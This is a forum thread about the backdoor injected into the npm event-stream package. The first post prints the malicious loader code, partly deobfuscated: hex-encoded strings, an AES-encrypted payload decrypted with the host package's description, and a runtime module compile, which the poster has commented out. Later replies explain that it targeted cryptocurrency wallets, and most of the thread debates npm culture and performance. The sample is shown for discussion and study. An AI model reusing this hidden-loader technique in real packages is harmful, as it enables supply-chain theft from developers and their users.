The latest npm security kerfuffle

cartman82

Somebody injected malicious code into a minor version of a widely used NPM package.

I don't know what to say. · Issue #116 · dominictarr/event-stream

EDIT 26/11/2018: Am I affected?: If you are using anything crypto-currency related, then maybe. As discovered by @maths22, the target seems to have been identified as copay related libraries. It on...

Here's the code, for the curious. No one has yet figured out what it does.

// var r = require, t = process;

// function e(r) {
//     return Buffer.from(r, "hex").toString()
// }
function decode(data) {
    return Buffer.from(data, "hex").toString()
}

// var n = r(e("2e2f746573742f64617461")),
// var n = require(decode("2e2f746573742f64617461"))
// var n = require('./test/data')
var n = ["75d4c87f3f69e0fa292969072c49dff4f90f44c1385d8eb60dae4cc3a229e52cf61f78b0822353b4304e323ad563bc22c98421eb6a8c1917e30277f716452ee8d57f9838e00f0c4e4ebd7818653f00e72888a4031676d8e2a80ca3cb00a7396ae3d140135d97c6db00cab172cbf9a92d0b9fb0f73ff2ee4d38c7f6f4b30990f2c97ef39ae6ac6c828f5892dd8457ab530a519cd236ebd51e1703bcfca8f9441c2664903af7e527c420d9263f4af58ccb5843187aa0da1cbb4b6aedfd1bdc6faf32f38a885628612660af8630597969125c917dfc512c53453c96c143a2a058ba91bc37e265b44c5874e594caaf53961c82904a95f1dd33b94e4dd1d00e9878f66dafc55fa6f2f77ec7e7e8fe28e4f959eab4707557b263ec74b2764033cd343199eeb6140a6284cb009a09b143dce784c2cd40dc320777deea6fbdf183f787fa7dd3ce2139999343b488a4f5bcf3743eecf0d30928727025ff3549808f7f711c9f7614148cf43c8aa7ce9b3fcc1cff4bb0df75cb2021d0f4afe5784fa80fed245ee3f0911762fffbc36951a78457b94629f067c1f12927cdf97699656f4a2c4429f1279c4ebacde10fa7a6f5c44b14bc88322a3f06bb0847f0456e630888e5b6c3f2b8f8489cd6bc082c8063eb03dd665badaf2a020f1448f3ae268c8d176e1d80cc756dc3fa02204e7a2f74b9da97f95644792ee87f1471b4c0d735589fc58b5c98fb21c8a8db551b90ce60d88e3f756cc6c8c4094aeaa12b149463a612ea5ea5425e43f223eb8071d7b991cfdf4ed59a96ccbe5bdb373d8febd00f8c7effa57f06116d850c2d9892582724b3585f1d71de83d54797a0bfceeb4670982232800a9b695d824a7ada3d41e568ecaa6629","db67fdbfc39c249c6f338194555a41928413b792ff41855e27752e227ba81571483c631bc659563d071bf39277ac3316bd2e1fd865d5ba0be0bbbef3080eb5f6dfdf43b4a678685aa65f30128f8f36633f05285af182be8efe34a2a8f6c9c6663d4af8414baaccd490d6e577b6b57bf7f4d9de5c71ee6bbffd70015a768218a991e1719b5428354d10449f41bac70e5afb1a3e03a52b89a19d4cc333e43b677f4ec750bf0be23fb50f235dd6019058fbc3077c01d013142d9018b076698536d2536b7a1a6a48f5485871f7dc487419e862b1a7493d840f14e8070c8eff54da8013fd3fe103db2ecebc121f82919efb697c2c47f79516708def7accd883d980d5618efd408c0fd46fd387911d1e72e16cf8842c5fe3477e4b46aa7bb34e3cf9caddfca744b6a21b5457beaccff83fa6fb6e8f3876e4764e0d4b5318e7f3eed34af757eb240615591d5369d4ab1493c8a9c366dfa3981b92405e5ebcbfd5dca2c6f9b8e8890a4635254e1bc26d2f7a986e29fef6e67f9a55b6faec78d54eb08cb2f8ea785713b2ffd694e7562cf2b06d38a0f97d0b546b9a121620b7f9d9ccca51b5e74df4bdd82d2a5e336a1d6452912650cc2e8ffc41bd7aa17ab17f60b2bd0cfc0c35ed82c71c0662980f1242c4523fae7a85ccd5e821fe239bfb33d38df78099fd34f429d75117e39b888344d57290b21732f267c22681e4f640bec9437b756d3002a3135564f1c5947cc7c96e1370db7af6db24c9030fb216d0ac1d9b2ca17cb3b3d5955ffcc3237973685a2c078e10bc6e36717b1324022c8840b9a755cffdef6a4d1880a4b6072fd1eb7aabebb9b949e1e37be6dfb6437c3fd0e6f135bcea65e2a06eb35ff26dcf2b2772f8d0cde8e5fa5eec577e9754f6b044502f8ce8838d36827bd3fe91cccba2a04c3ee90c133352cbad34951fdf21a671a4e3940fd69cfee172df4123a0f678154871afa80f763d78df971a1317200d0ce5304b3f01ace921ea8afb41ec800ab834d81740353101408733fb710e99657554c50a4a8cb0a51477a07d6870b681cdc0be0600d912a0c711dc9442260265d50e269f02eb49da509592e0996d02a36a0ce040fff7bd3be57e97d07e4de0cdb93b7e3ccea422a5a526fb95ea8508ea2a40010f56d4aa96da23e6e9bcbae09dacccdcd8ac6af96a1922266c3795fb0798affaa75b8ae05221612ce45c824d1f6603fe2afd74b9e167736bfffe01a12b9f85912572a291336c693f133efeac881cd09207505ad93967e3b7a8972cdcce208bfa3b9956370795791ca91a8b9deabde26c3ee2adb43e9f7df2df16d4582a4e610b73754e609b1eea936a4d916bf5ed9d627692bcc8ed0933026e9250d16bdaf2b68470608aeaffedcf2be8c4c176bfc620e3f9f17a4a9d8ef9fe46cca41a79878d37423c0fa9f3ee1f4e6d68f029d6cbb5cbc90e7243135e0fc1dd66297d32adabc9a6d0235709be173b688ba2004f518f58f5459caca60d615ae4dc0d0eeacbe48ca8727a8b42dc78396316a0e223029b76311e7607ea5bd236307ba3b62afeff7a1ef5c0b5d7ee760c0f6472359c57817c5d9cd534d9a34bb4847bbc83c37b14b6444e9f386f1bec4b42c65d1078d54bd007ff545028205099abc454919406408b761a1636d10e39ede9f650f25abad3219b9d46d535402b930488535d97d19be3b0e75fed31d0b2f8af099481685e2b4fa9bff05cbac1b9b405db2c7eae68501633e02723560727a1c8c34c32afc76cdeb82fe8bae34b09cd82402076b9f481d043b080d851c7b6ba8613adba3bc3d5edb9a84fce41130ad328fe4c062a76966cb60c4fa801f359d22b70a797a2c2a3d19da7383025cb2e076b9c30b862456ae4b60197101e82133748c224a1431545fde146d98723ccb79b47155b218914c76f5d52027c06c6c913450fc56527a34c3fe1349f38018a55910de819add6204ab2829668ca0b7afb0d00f00c873a3f18daad9ae662b09c775cddbe98b9e7a43f1f8318665027636d1de18b5a77f548e9ede3b73e3777c44ec962fb7a94c56d8b34c1da603b3fc250799aad48cc007263daf8969dbe9f8ade2ac66f5b66657d8b56050ff14d8f759dd2c7c0411d92157531cfc3ac9c981e327fd6b140fb2abf994fa91aecc2c4fef5f210f52d487f117873df6e847769c06db7f8642cd2426b6ce00d6218413fdbba5bbbebc4e94bffdef6985a0e800132fe5821e62f2c1d79ddb5656bd5102176d33d79cf4560453ca7fd3d3c3be0190ae356efaaf5e2892f0d80c437eade2d28698148e72fbe17f1fac993a1314052345b701d65bb0ea3710145df687bb17182cd3ad6c121afef20bf02e0100fd63cbbf498321795372398c983eb31f184fa1adbb24759e395def34e1a726c3604591b67928da6c6a8c5f96808edfc7990a585411ffe633bae6a3ed6c132b1547237cab6f3b24c57d3d4cd8e2fbbd9f7674ececf0f66b39c2591330acc1ac20732a98e9b61a3fd979f88ab7211acbf629fcb0c80fb5ed1ea55df0735dcf13510304652763a5ed7bde3e5ebda1bf72110789ebefa469b70f6b4add29ce1471fa6972df108717100412c804efcf8aaba277f0107b1c51f15f144ab02dd8f334d5b48caf24a4492979fa425c4c25c4d213408ecfeb82f34e7d20f26f65fa4e89db57582d6a928914ee6fc0c6cc0a9793aa032883ea5a2d2135dbfcf762f4a2e22585966be376d30fbfabb1dfd182e7b174097481763c04f5d7cbd060c5a36dc0e3dd235de1669f3db8747d5b74d8c1cc9ab3a919e257fb7e6809f15ab7c2506437ced02f03416a1240a555f842a11cde514c450a2f8536f25c60bbe0e1b013d8dd407e4cb171216e30835af7ca0d9e3ff33451c6236704b814c800ecc6833a0e66cd2c487862172bc8a1acb7786ddc4e05ba4e41ada15e0d6334a8bf51373722c26b96bbe4d704386469752d2cda5ca73f7399ff0df165abb720810a4dc19f76ca748a34cb3d0f9b0d800d7657f702284c6e818080d4d9c6fff481f76fb7a7c5d513eae7aa84484822f98a183e192f71ea4e53a45415ddb03039549b18bc6e1","63727970746f","656e76","6e706d5f7061636b6167655f6465736372697074696f6e","616573323536","6372656174654465636970686572","5f636f6d70696c65","686578","75746638"]
    // o = t[e(n[3])][e(n[4])];
    // npm_package_description = process[decode(n[3])][decode(n[4])];
    // npm_package_description = process['env']['npm_package_description'];
    npm_package_description = 'Get all children of a pid'; // Description from ps-tree (this is the aes decryption key)

// if (!o) return;
if (!npm_package_description) return;

// var u = r(e(n[2]))[e(n[6])](e(n[5]), o),
// var decipher = require(decode(n[2]))[decode(n[6])](decode(n[5]), npm_package_description),
var decipher = require('crypto')['createDecipher']('aes256', npm_package_description),

    // a = u.update(n[0], e(n[8]), e(n[9]));
    // decoded = decipher.update(n[0], e(n[8]), e(n[9]));
    decoded = decipher.update(n[0], 'hex', 'utf8');

console.log(n); // IDK why this is here...

// a += u.final(e(n[9]));
decoded += decipher.final('utf8');

// var f = new module.constructor;
var newModule = new module.constructor;

/**************** DO NOT UNCOMMENT [THIS RUNS THE CODE] **************/
// f.paths = module.paths, f[e(n[7])](a, ""), f.exports(n[1])
// newModule.paths = module.paths, newModule['_compile'](decoded, ""), newModule.exports(n[1])
// newModule.paths = module.paths
// newModule['_compile'](decoded, "") // Module.prototype._compile = function(content, filename)
// newModule.exports(n[1])

So how did this happen?

0_1543255995704_b720f46b-b52f-4dc3-a024-88a71215ae10-image.png

Yup, it's that easy.

The most amazing thing is that I spelled "kerfuffle" correctly on the first try.

izzion

@cartman82
That’s what happens when you work in the JS ecosystem. You become an expert in all things kerfluffle.

cartman82

Here's a reddit comment I can get behind.

https://www.reddit.com/r/programming/comments/a0kxmw/i_dont_know_what_to_say_backdoor_in_popular/eaijrdq/

The discussion in github is really sad for me to read and it's a nice example why the npm ecosystem suffers from security issues more than any package management ecosystem. The claim that "Developer shouldn't do background checks on anyone who is willing to maintain the package, shut up and say thank you for the time he spent" - is so asinine and childish I don't even know how to respond. It's definitely a culture thing.

For a long while now I don't have any direct dependency that isn't backed up by a company or is a well known framework. But I feel it's kinda pointless, case in point, the supposed backdoor reached monaco editor.

I hope that some of the bigger js players will start to "scrub" their dependencies. And if their dependencies don't do the same, try to move away from them as fast as possible. It would probably be a difficult 1-2 years until the ecosystem will be stable again , but It's crucial. I actually really like writing code with ES2017 and Typescript, and it's a shame that just when the language got reasonable enough, the ecosystem now feels like a giant problem.

Here is just a quick case I found in 2 minutes: I started looking at webpack, their dependencies all look reasonable enough, but they use eslint, and eslint uses this package: https://github.com/shinnn/is-resolvable. There is no reason why this small, not-complicated piece of logic can't sit inside eslint. And eslint is a great tool, but it's non crucial to a project. If I'm a webpack maintainer I remove eslint until they fix it. That's the kind of process we should go through.

People can keep on writing all those small packages to pump up their github repository list. I'll promise to keep on using them in non-work related projects.

I have definitely started "scrubbing" my immediate dependencies and only importing packages I really need. My own published packages veer towards zero dependencies.

So far I haven't tried to reduce derived dependencies (and it's not that easy if the package you needs doesn't follow this philosophy). But at least lock files help a bit there.

Gribnit

@izzion said in The latest npm security kerfuffle:

"ecosystem"

So, I guess massive security problems, will fill the role of "something to yank up 9999 of them by the roots", since goddamn js devs life philosophy is "make me".

Gąska

I think we should make a public list of all developers who either said or approved through emoji reaction the statement that they don't see anything wrong with passing their old libraries to random other people and any eventual security threats is the user's problem because all open-source is provided as is and they shouldn't expect any security. Name it like "People Whose Code You Should Never Ever Trust", and include their Github usernames, full names (if available), and all the projects they're in charge of, and their dependents. I wonder how big the outrage would be.

cvi

@Gąska said in The latest npm security kerfuffle:

I think we should make a public list of all developers who either said or approved through emoji reaction the statement that they don't see anything wrong with passing their old libraries to random other people and any eventual security threats is the user's problem because all open-source is provided as is and they shouldn't expect any security.

While I do agree with the statement that developers should be responsible and maintain their projects, vet contributors and whatnot, I also do believe that, practically, it ends up being the user's problem and, yes, that it is also the user's responsibility to vet and verify whatever code they pull in comes from a trustworthy source.

The problem of pulling in untrustworthy code is something solvable, although it involves extra work (might be your suggest list). The problem of ensuring everybody behaves well is nigh-unsolvable, so realistically, one has to accept that projects will be abandoned and/or passed to untrustworthy parties, and plan for that.

kazitor

All the crap nodejs pulls and has resulted in honestly makes me hesitant to label myself a JavaScript developer, or use that word in any sort of proximity to descriptions of myself.

anonymous234

@Gąska So what's the procedure if I have a project I don't feel like maintaining anymore? Best I can think of is put up a warning and the details of the new maintainer, but will that change anything?

Gąska

@cvi said in The latest npm security kerfuffle:

@Gąska said in The latest npm security kerfuffle:

I think we should make a public list of all developers who either said or approved through emoji reaction the statement that they don't see anything wrong with passing their old libraries to random other people and any eventual security threats is the user's problem because all open-source is provided as is and they shouldn't expect any security.

While I do agree with the statement that developers should be responsible and maintain their projects, vet contributors and whatnot, I also do believe that, practically, it ends up being the user's problem and, yes, that it is also the user's responsibility to vet and verify whatever code they pull in comes from a trustworthy source.

And a public list of projects likely to fall victim of hacking through the easiest social engineering tactic in universe would make the vetting much easier and more effective. It's no silver bullet by any means, but it would still improve security considerably.

The problem of pulling in untrustworthy code is something solvable, although it involves extra work (might be your suggest list). The problem of ensuring everybody behaves well is nigh-unsolvable, so realistically, one has to accept that projects will be abandoned and/or passed to untrustworthy parties, and plan for that.

The idea is that with enough public shaming, their code would be completely excluded from the rest of ecosystem (at least the part that cares about security), and if enough ostracism happened, it would cause a cultural change where developers are much less willing to transfer ownership of their projects to unknown people.

@anonymous234 said in The latest npm security kerfuffle:

@Gąska So what's the procedure if I have a project I don't feel like maintaining anymore? Best I can think of is put up a warning and the details of the new maintainer, but will that change anything?

Yes, it will. At the very least, it'll require a manual change in project's dependencies, so if something shady is going on in the new fork, it has a much higher chance of getting detected early - and all the projects whose developers couldn't care less about updating dependencies, won't get affected at all (unlike currently, where almost all have received the "minor" version update).

Alternatively, you can just archive your Github repo, state it's not maintained anymore, and don't do anything else - if someone wants to fork, they can fork themselves (no pun intended), they don't need your blessing.

Cursorkeys

@kazitor said in The latest npm security kerfuffle:

All the crap nodejs pulls and has resulted in honestly makes me hesitant to label myself a JavaScript developer, or use that word in any sort of proximity to descriptions of myself.

Are you really a developer if all you're doing is lego-ing together 10 tons of stuff other people have built?

Electronics is seeing the same thing, people calling themselves designers because they can mash Arduino stuff together. You didn't design that, at best you're an integrator.

Gąska

@Cursorkeys said in The latest npm security kerfuffle:

@kazitor said in The latest npm security kerfuffle:

All the crap nodejs pulls and has resulted in honestly makes me hesitant to label myself a JavaScript developer, or use that word in any sort of proximity to descriptions of myself.

Are you really a developer if all you're doing is lego-ing together 10 tons of stuff other people have built?

When you put it like this, it doesn't sound much different from what the other kind of developers do.

kazitor

@Cursorkeys heh, reminds me of some freebie I pulled off SitePoint, "6 JavaScript projects" or something, and literally every example was "let's use a library to do exactly what that library is designed for!"

I didn't actually read it once I noticed the trend.

anonymous234

@Gąska said in The latest npm security kerfuffle:

At the very least, it'll require a manual change in project's dependencies, so if something shady is going on in the new fork, it has a much higher chance of getting detected early - and all the projects whose developers couldn't care less about updating dependencies, won't get affected at all (unlike currently, where almost all have received the "minor" version update).

Well, they'll be affected in that they don't receive updates.

They should probably include a "not-maintained" tag for repositories so you can get warnings when building the project.

Cursorkeys

@Gąska said in The latest npm security kerfuffle:

@Cursorkeys said in The latest npm security kerfuffle:

@kazitor said in The latest npm security kerfuffle:

All the crap nodejs pulls and has resulted in honestly makes me hesitant to label myself a JavaScript developer, or use that word in any sort of proximity to descriptions of myself.

Are you really a developer if all you're doing is lego-ing together 10 tons of stuff other people have built?

When you put it like this, it doesn't sound much different from what the other kind of developers do.

I'd say that's ~~reuse~~parallel use of a term with industry-specific connotations in an unrelated field, like business 'development'.

cvi

@Gąska said in The latest npm security kerfuffle:

The idea is that with enough public shaming, their code would be completely excluded from the rest of ecosystem (at least the part that cares about security), and if enough ostracism happened, it would cause a cultural change where developers are much less willing to transfer ownership of their projects to unknown people.

I'm not against such a list, I just think it'd be hard to pull off in a meaningful way. But, if anything, then the list should be extended to developers that don't vet their dependencies and blindly pull in new versions of third-party stuff.

Edit: Just saw and processed the "and their dependents" part. I guess you already thought of that then.

dkf

@Gąska said in The latest npm security kerfuffle:

Name it like "People Whose Code You Should Never Ever Trust", and include their Github usernames, full names (if available), and all the projects they're in charge of, and their dependents. I wonder how big the outrage would be.

Nice idea. It'd end up in court.

Gąska

@anonymous234 said in The latest npm security kerfuffle:

@Gąska said in The latest npm security kerfuffle:

At the very least, it'll require a manual change in project's dependencies, so if something shady is going on in the new fork, it has a much higher chance of getting detected early - and all the projects whose developers couldn't care less about updating dependencies, won't get affected at all (unlike currently, where almost all have received the "minor" version update).

Well, they'll be affected in that they don't receive updates.

After you've already abandoned the project, were they going to receive more updates or not? Not transferring ownership leaves them in no worse situation than they are now, while transferring ownership is a lottery with not much to win and shitloads to lose.

They should probably include a "not-maintained" tag for repositories so you can get warnings when building the project.

Yes, that's a good idea. IIRC npm provides exactly this functionality?

ixvedeusi

@Cursorkeys said in The latest npm security kerfuffle:

Are you really a developer if all you're doing is lego-ing together 10 tons of stuff other people have built?

All software development is fundamentally like this. I mean even if you code in Assembly, all you're doing is lego-ing together 10 tons of microcode snippets some other people have built.

When you build software (or anything really), you'll have to choose on which level of abstraction you want to work. If you choose a very low level of abstraction, you can do things very efficiently, but spend forever building them and thus won't get very far. If you choose a high level of abstraction, you may waste a lot of resources, but you can get very far very quickly, and so you might be able to build stuff which would have been entirely unimaginable at a lower level of abstraction.

I don't think that web dev is different in this than any other kind of development; it just happens at a very high level of abstraction and thus the "primitives" you'll use will get very specific and complex in themselves, which is what evokes the "lego" feeling.

Zerosquare

@ixvedeusi said in The latest npm security kerfuffle:

All software development is fundamentally like this. I mean even if you code in Assembly, all you're doing is lego-ing together 10 tons of microcode snippets some other people have built.

Sure, but both microcode designers and assembly programmers are generally people who know what they're doing, aren't likely to use things they don't understand, or make changes without thinking about the consequences.

The average NPM ecosystem user/contributor is the exact opposite.

Gąska

@ixvedeusi I agree with the general message of your post, but I must correct you one one thing.

There is no correlation between abstraction level and performance. High-level code can be very efficient. Low-level code can be very wasteful. And with each year, runtimes for high level languages get more and more optimized, so the potential performance gap gets smaller and smaller. And I have never seen any study about the general trends - only some anecdotal evidence, and usually not even that. So please stop repeating obsolete, unverified claims - because some less experienced programmers might take them seriously.

Applied Mediocrity

@ixvedeusi
Yes, but even Lego has ranges of products, roughly tailored to the expected range of minimum mental capacity. When one asks to build a website, but ends up with a dinosaur in a plate-mail on a jetpack powered Lime scooter that doesn't do any dinosaur things except it shits on the floor and then keels over, it raises certain questions of both the construction process and the suitability of the pieces used.

ixvedeusi

@Gąska said in The latest npm security kerfuffle:

There is no correlation between abstraction level and performance.

While I can see where you're going with this, I have to strongly disagree. While high-level code can be very efficient (and possibly in many cases just as efficient^{[citation needed]}) as low-level code, it is immensely more difficult to build high-level abstractions that perform well in all use cases and don't leak, than to tailor-make low-level code which performs well in a single, specific use case. So the correlation will not be 1, but it definitely is significantly > 0.

Zerosquare

@Gąska said in The latest npm security kerfuffle:

some less experienced programmers might take them seriously.

And actually start thinking about the costs of those mile-high layers of abstraction, instead of using whatever technology is popular this week?

Yeah, that'd be terrible

japonicus

@Gąska said in The latest npm security kerfuffle:

There is no correlation between abstraction level and performance.

That's a very bold and improbable general claim - do you have any evidence? Optimisation techniques are getting better, but I'd be very surprised if a skilled programmer couldn't usually achieve greater efficiency in a low-level language (if they spent the time and effort).

izzion

@japonicus
But isn't the time and effort spent part of the efficiency as well?

Jaloopa

@Gąska said in The latest npm security kerfuffle:

a public list of projects likely to fall victim of hacking through the easiest social engineering tactic in universe

It's called NPM isn't it?

Gąska

@ixvedeusi said in The latest npm security kerfuffle:

@Gąska said in The latest npm security kerfuffle:

There is no correlation between abstraction level and performance.

While I can see where you're going with this, I have to strongly disagree. While high-level code can be very efficient (and possibly in many cases just as efficient^{[citation needed]}) as low-level code, it is immensely more difficult to build high-level abstractions that perform well in all use cases and don't leak, than to tailor-make low-level code which performs well in a single, specific use case.

On the other hand, when you're using common high-level constructs, there's a very high chance they're more optimized than most programmers ever could optimize their own low-level code. Imagine if everyone rolled their own associative containers instead of using whatever their standard library provides.

@japonicus said in The latest npm security kerfuffle:

@Gąska said in The latest npm security kerfuffle:

There is no correlation between abstraction level and performance.

That's a very bold and improbable general claim - do you have any evidence?

It's a null hypothesis. The burden of proof is on the other side.

Optimisation techniques are getting better, but I'd be very surprised if a skilled programmer couldn't usually achieve greater efficiency in a low-level language (if they spent the time and effort).

And what about average programmers? You know, the kind that writes 90% of the code in the world?

Zerosquare

@japonicus: McDonald's processes for making food are more efficient than those of high-end restaurant. If you're only interested in a quick and cheap meal, it may be just what you need. But you wouldn't claim that the food quality is indistinguishable from the one you get from the high-end restaurant.

ixvedeusi

@izzion said in The latest npm security kerfuffle:

But isn't the time and effort spent part of the efficiency as well?

Not this efficiency, a different kind of efficiency. The ~~Rosie~~XKCD doesn't really apply here because in the general case the coder will not be the user of the software, and accordingly they "don't gain anything" (except maybe more sales if applicable) from writing more efficient code.

Kian

@anonymous234 said in The latest npm security kerfuffle:

@Gąska So what's the procedure if I have a project I don't feel like maintaining anymore? Best I can think of is put up a warning and the details of the new maintainer, but will that change anything?

Deprecate the package. Put up a warning that it is no longer maintained (hopefully there's a way for the build system to show this warning), and lock it down. Your users can then find a replacement on their own.

ixvedeusi

@Gąska said in The latest npm security kerfuffle:

On the other hand, when you're using common high-level constructs, there's a very high chance they're more optimized than most programmers ever could optimize their own low-level code. Imagine if everyone rolled their own associative containers instead of using whatever their standard library provides.

This really has nothing to do with abstraction level, it's a question of working in a domain where you have the required expertise vs. working in a domain where you don't.

@Gąska said in The latest npm security kerfuffle:

And what about average programmers? You know, the kind that writes 90% of the code in the world?

Those will write inefficient code on any level of abstraction, it's just a question of how much of the code for a given feature is theirs. Of course if most of that code comes from someone else who actually knows what they're doing it will be more efficient. Again, nothing to do with levels of abstraction.

japonicus

@izzion said in The latest npm security kerfuffle:

@japonicus
But isn't the time and effort spent part of the efficiency as well?

Yes, I'm definitely not advocating that everything should be written in low-level languages - performance often doesn't matter. I was responding to @Gąska who I understood to be arguing narrowly in terms of code-performance rather than efficiency of a project.

@Gąska said in The latest npm security kerfuffle:

It's a null hypothesis. The burden of proof is on the other side.

I'll conceded the point on pedantry, but still don't remotely accepted the lack of correlation which goes against common experience.

@Gąska said in The latest npm security kerfuffle:

And what about average programmers? You know, the kind that writes 90% of the code in the world?

I suspect (though you might dispute it ) that use of low-level language also has some correlation with expertise. Inexperienced (or even average) programmers are far less likely to work in low-level languages professionally. That most code is written in high-level languages (or that many programmers are less than competent) doesn't affect the correlation between language-level and raw code efficiency.

ixvedeusi

@Gąska said in The latest npm security kerfuffle:

It's a null hypothesis. The burden of proof is on the other side.

Not for me. My entire life experience indicates that your claim is wrong, so to convince me otherwise would require some rather strong proof.

PJH

@Zerosquare said in The latest npm security kerfuffle:

Sure, but both microcode designers and assembly programmers are generally people who know what they're doing, aren't likely to use things they don't understand,

The Old New Thing

PleegWat

@ixvedeusi said in The latest npm security kerfuffle:

@izzion said in The latest npm security kerfuffle:

But isn't the time and effort spent part of the efficiency as well?

Not this efficiency, a different kind of efficiency. The ~~Rosie~~XKCD doesn't really apply here because in the general case the coder will not be the user of the software, and accordingly they "don't gain anything" (except maybe more sales if applicable) from writing more efficient code.

Certainly the XKCD assumes the time of the person making the performance improvement has the same value as the time of the person who's time is being saved.

PJH

@PleegWat said in The latest npm security kerfuffle:

Certainly the XKCD assumes the time of the person making the performance improvement has the same value as the time of the person who's time is being saved.

I presumed, in that cartoon, that those 'two people' were actually the same person...

dkf

@Zerosquare said in The latest npm security kerfuffle:

Sure, but both microcode designers and assembly programmers are generally people who know what they're doing

0_1543325422375_13225465-49d1-4575-a126-5adc33a3caae-image.png

boomzilla

@anonymous234 said in The latest npm security kerfuffle:

@Gąska So what's the procedure if I have a project I don't feel like maintaining anymore? Best I can think of is put up a warning and the details of the new maintainer, but will that change anything?

Maybe you just tell them to fork it. Which they could do in any case, but they don't get the level of trust that you built up over time. Not that a lot of people won't just switch over to the fork without serious vetting anyways.

izzion

@ixvedeusi
Sure they do - they gain server performance, so they don't need to throw more hardware at their website as early. Or they gain in their own utilization of the site, if it's something that they do utilize personally.

But yeah, the Rosie doesn't perfectly apply, I just grabbed it with /wtdwtf pull meme

Gąska

@boomzilla said in The latest npm security kerfuffle:

Not that a lot of people won't just switch over to the fork without serious vetting anyways.

True, but I think even more people will never update at all. Which, all things considered, is a better situation than what happened.

dkf

@PJH said in The latest npm security kerfuffle:

@Zerosquare said in The latest npm security kerfuffle:

Sure, but both microcode designers and assembly programmers are generally people who know what they're doing, aren't likely to use things they don't understand,

The Old New Thing

Heh. Different types of memory have different levels of susceptibility to radiation. We've measured it. SDRAM is much more resistant to radiation problems than SRAM, so much so that we've had to put ECC on our (architectural equivalent to) L1 cache for our next gen chips, despite being able to leave main memory as a stock part.

Gribnit

@Gąska said in The latest npm security kerfuffle:

I think we should make a public list of all developers who either said or approved through emoji reaction the statement that they don't see anything wrong with passing their old libraries to random other people and any eventual security threats is the user's problem because all open-source is provided as is and they shouldn't expect any security. Name it like "People Whose Code You Should Never Ever Trust", and include their Github usernames, full names (if available), and all the projects they're in charge of, and their dependents. I wonder how big the outrage would be.

Sounds like a blocklist yo

Gąska

@Gribnit so we have a working precedent!

Tsaukpaetra

@cartman82 said in The latest npm security kerfuffle:

No one has yet figured out what it does.

Wat.

topspin

@Tsaukpaetra said in The latest npm security kerfuffle:

@cartman82 said in The latest npm security kerfuffle:

No one has yet figured out what it does.

Wat.

Confused as well. Didn't someone say it mines shitcoins?
And I'm positive we have enough JS around here to figure out what it does.

Gąska

@Tsaukpaetra @topspin he said that before people figured out it steals Bitcoin wallets. It was hard to figure out because the malicious part was AES-encrypted and used running program's package description as the key.

topspin

@Gąska said in The latest npm security kerfuffle:

@Tsaukpaetra @topspin he said that before people figured out it steals Bitcoin wallets. It was hard to figure out because the malicious part was AES-encrypted and used running program's package description as the key.

But the decode function is right there in the code!?

sweaty_gammon

Everytime I hear about nonsense like this. I am glad I've kept to boring technology such as SQL Server and .NET.

Gąska

@topspin it was also encrypted, though with static key, so the decoding part was figured out pretty fast. But this alone doesn't tell you anything about what the program does - only that it only does whatever it does for one specific program.

Edit: also, the malicious part wasn't in raw source - only in packaged minified version.

anonymous234

@japonicus It's a bold claim, and I don't think it's strictly true, but I think the opposite is not true either: abstraction does not necessarily have to mean significantly less efficiency, like many people assume.